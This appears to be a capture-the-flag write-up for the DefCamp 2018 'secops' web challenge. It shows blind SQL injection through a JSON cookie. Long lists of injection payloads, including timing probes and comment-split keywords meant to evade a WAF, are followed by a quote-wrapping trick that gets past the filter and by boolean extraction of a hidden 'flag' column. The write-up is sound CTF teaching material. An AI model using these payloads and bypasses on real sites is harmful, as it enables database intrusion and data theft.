# secops (Web - 316pcts.)

```  
Firewalls proved to be very useful in our hosting environment as it protects
against attacks on vulnerable sites of our clients.  
Target: https://secops.dctfq18.def.camp/  
Author: Anatol  
```

I'll keep it short. very short.

Simple website that let's me change my flair. It looks like this:

![Website](./screenshot.png)

So when I click *set as flair* it sets my flair to anything in there. How does
it do it? It's a binded onclick event on that button:

```javascript  
$('.hook-set').click(function() {  
var prefs = JSON.stringify({ flair: $(this).data('id') });  
document.cookie = 'prefs' + "=" + encodeURIComponent(prefs) + "; path=/";  
location.reload();  
});  
```

So after fiddling around a bit, I find that the flair with id 4 has the Name
`Flag`. That's like jackpot. Easy challenge. Done. lol.

I was thinking the actual flag is in the Price. As you can see the table has 3
columns: id, name, price. Cool.

It's a pain to work with the cookie encoded, so I scripted a little nodejs
tool to help me `pwn.js` to do the hard part for me so I could just try
different sqli attack vectors. I didn't need much to discover there was an Web
Application Firewal in place (a bit later a teammate pointed it out to me that
it said so in the description lol. gotta read it more carefully next time)

The query inside I guessed looks something like this `SELECT name FROM table
WHERE id = '%id';`. I played with my tool a bit:

```  
node pwn.js "' or 1=1--"  
node pwn.js "' or 1=1#"  
node pwn.js "' or 1=1##"  
node pwn.js "' or 1=1/*"  
node pwn.js "' or 1=1###"  
node pwn.js "' or 1=1"  
node pwn.js "' or 1='1"  
node pwn.js "' or 1=1'"  
node pwn.js "4' or 1=1'"  
node pwn.js "4' or 1''=1'"  
node pwn.js "4' or '1'=1'"  
node pwn.js "4' or '80'=1'"  
node pwn.js "4' or 80=1'"  
node pwn.js "4' or 80=80'"  
node pwn.js "4' or 80=80''"  
node pwn.js "4' or 80=80'''"  
node pwn.js "4' or 16='0xf"  
node pwn.js "4' or 16=0xf'"  
node pwn.js "4' or 1='"  
node pwn.js "3' or sleep(5000)='"  
node pwn.js "3' or sleep(500000)='"  
node pwn.js "3' or 1='"  
node pwn.js "3'\"\n"  
node pwn.js "3'"  
node pwn.js "3' or sleep(1)=0"  
node pwn.js "3' or sl/**/eep(1)=0"  
node pwn.js "3' or sl/**/eep(1)='0"  
node pwn.js "3' or sl/**/eep(50)='0"  
node pwn.js "3' or SLeEp(50)='0"  
node pwn.js "3' or SLeEp (50)='0"  
node pwn.js "3' or benchmark(200000,md5(now()))='0"  
node pwn.js "3' or benchmark()='0"  
node pwn.js "3' or b/**/enchmark()='0"  
node pwn.js "3' or md5()='0"  
node pwn.js "3 or md5()=0"  
node pwn.js "3' or"  
node pwn.js "3' or 1=1--"  
node pwn.js "3' or 1=1/*"  
node pwn.js "3' or 1=1#"  
```

All failures. Website was sending 500 on SQL ERROR. Otherwise, WAF was
blocking the request with 403. almost every time.

Then I figured out after reading a bit on WAF on OWASP that maybe it reacts
somehow to  
a cookie like `{"flair":"a","flair":${JSON.stringify(flair)},"flair":"b"}`.
Nope. But that pointed me on the right direction. The WAF was accepting some
things when I used quotes around them. So what if quote left and right, json
valid, and send it. Hopefully WAF uses a regex, not a json parser (who parses
cookies for JSON?!), so maybe it's not that strict inside quotes.

We got a winner.  
`{"flair":"'","flair":${JSON.stringify(flair)},"flair2":"'"}`  
PS: I dont think the first flair key is necessary but I didn't test it.

So back to testing attack vectors:  
```  
node pwn.js "3' order by '1"  
node pwn.js "3' order by '1'--#"  
node pwn.js "3' order by '1'"  
node pwn.js "3' order by 1"  
node pwn.js "3' or 1='1"  
node pwn.js "3' and 1='0"  
node pwn.js "3' union all select '1"  
node pwn.js "3' union sele/**/ct '1"  
node pwn.js "3' u/**/nion sele/**/ct '1"  
node pwn.js "3' union select '1"  
```

`Union select` blocked by WAF.

```  
node pwn.js "4' and length(price)<10 and 1='1"  
node pwn.js "4' and length(price)<5 and 1='1"  
node pwn.js "4' and length(price)<8 and 1='1"  
node pwn.js "4' and length(price)<6 and 1='1"  
node pwn.js "4' and length(price)<7 and 1='1"  
node pwn.js "4' and length(price)=6 and 1='1"  
node pwn.js "4' and left(price,2)='99' and 1='1"  
node pwn.js "4' and left(price,3)='999' and 1='1"  
node pwn.js "4' and left(price,4)='9999' and 1='1"  
node pwn.js "4' and left(price,4)='999.' and 1='1"  
node pwn.js "4' and left(price,5)='999.' and 1='1"  
node pwn.js "4' and left(price,5)='999.9' and 1='1"  
node pwn.js "4' and left(price,7)='999.99' and 1='1"  
node pwn.js "4' and left(price,6)='999.99' and 1='1"  
node pwn.js "4' and (sel/**/ect 1 from information_schema)='999.99' and 1='1"  
node pwn.js "4' and (sel/**/ect 1 from informat/**/ion_schema)='999.99' and
1='1"  
node pwn.js "4' and (union select 1 from informat/**/ion_schema)='999.99' and
1='1"  
```

The flag wasn't in `price` :(. also `information_schema` blocked.

```  
node pwn.js "4' order by '1"  
node pwn.js "4' and length(flag)='999.99' and 1='1"  
node pwn.js "4' and length(flag)>0 and 1='1"  
node pwn.js "4' and length(flag)>10 and 1='1"  
node pwn.js "4' and length(flag)<100 and 1='1"  
node pwn.js "4' and length(flag)<50 and 1='1"  
node pwn.js "4' and length(flag)<25 and 1='1"  
node pwn.js "4' and length(flag)<10 and 1='1"  
node pwn.js "4' and length(flag)<64 and 1='1"  
node pwn.js "4' and length(flag)=64 and 1='1"  
node pwn.js "4' and length(flag)=70 and 1='1"  
```

But on a lucky guess of a teammate I found out there was another column named
`flag` and it had the right length (70 chars). Jackpot!

After that I coded a binary search into my script and waited a bit to get the
flag. BLIND. The code is in `pwn.js`. To run it you need `nodejs`  
```  
npm install  
npm pwn.js  
```  

Original writeup (https://github.com/nytr0gen/defcamp-ctf-
quals-2018-writeups/tree/master/secops).